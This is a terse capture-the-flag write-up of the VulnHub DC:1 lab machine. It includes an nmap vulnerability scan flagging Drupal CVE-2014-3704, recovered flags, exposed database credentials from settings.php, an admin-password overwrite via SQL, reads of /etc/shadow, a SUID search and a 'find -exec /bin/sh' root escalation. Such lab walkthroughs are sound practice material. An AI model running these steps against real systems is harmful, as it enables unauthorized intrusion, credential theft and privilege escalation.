vulnhub-DC:1 - Flag夺取记

map -A -T4 10.10.10.132 --script=vuln

Nmap scan report for 10.10.10.132                                                                                                                                                                                 
Host is up (0.00034s latency).                                                                                                                                                                                    
Not shown: 997 closed ports                                                                                                                                                                                       
PORT    STATE SERVICE VERSION                                                                                                                                                                                     
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)                                                                                                                                                
|_clamav-exec: ERROR: Script execution failed (use -d to debug)                                                                                                                                                   
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))                                                                                                                                                              
|_clamav-exec: ERROR: Script execution failed (use -d to debug)                                                                                                                                                   
| http-csrf:                                                                                                                                                                                                      
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.132                                                                                                                                      
|   Found the following possible CSRF vulnerabilities:                                                                                                                                                            
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/                                                                                                                                                                               
|     Form id: user-login-form                                                                                                                                                                                    
|     Form action: /node?destination=node                                                                                                                                                                         
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/user/register                                                                                                                                                                  
|     Form id: user-register-form                                                                                                                                                                                 
|     Form action: /user/register                                                                                                                                                                                 
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/node?destination=node                                                                                                                                                          
|     Form id: user-login-form                                                                                                                                                                                    
|     Form action: /node?destination=node                                                                                                                                                                         
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/user/password                                                                                                                                                                  
|     Form id: user-pass                                                                                                                                                                                          
|     Form action: /user/password                                                                                                                                                                                 
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/user
|     Form id: user-login
|     Form action: /user
|     
|     Path: http://10.10.10.132:80/user/
|     Form id: user-login
|_    Form action: /user/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /rss.xml: RSS or Atom feed
|   /robots.txt: Robots file
|   /UPGRADE.txt: Drupal file
|   /INSTALL.txt: Drupal file
|   /INSTALL.mysql.txt: Drupal file
|   /INSTALL.pgsql.txt: Drupal file
|   /: Drupal version 7 
|   /README: Interesting, a readme.
|   /README.txt: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /user/: Potentially interesting folder
|_http-server-header: Apache/2.2.22 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2014-3704: 
|   VULNERABLE:
|   Drupal - pre Auth SQL Injection Vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-3704
|         The expandArguments function in the database abstraction API in
|         Drupal core 7.x before 7.32 does not properly construct prepared
|         statements, which allows remote attackers to conduct SQL injection
|         attacks via an array containing crafted keys.
|           
|     Disclosure date: 2014-10-15
|     References:
|       https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
|       http://www.securityfocus.com/bid/70595
|       https://www.drupal.org/SA-CORE-2014-005
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
111/tcp open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36912/udp   status
|   100024  1          37215/tcp6  status
|   100024  1          52947/udp6  status
|_  100024  1          54937/tcp   status
MAC Address: 00:0C:29:3D:43:A8 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 10.10.10.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 530.45 seconds

切换shell
cat flag1.txt
Every good CMS needs a config file - and so do you.

cat settings.php
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

python -c '__import__("pty").spawn("/bin/bash")'

update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where name=‘admin';

update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

whoami
uname -a
cat /etc/passwd
cat /etc/shadow

find / -user root -perm -4000 -print 2>/dev/null
find / -type f -perm -u=s 2>/dev/null

find ./ -exec "whoami" \;
find ./ -exec "/bin/sh" \;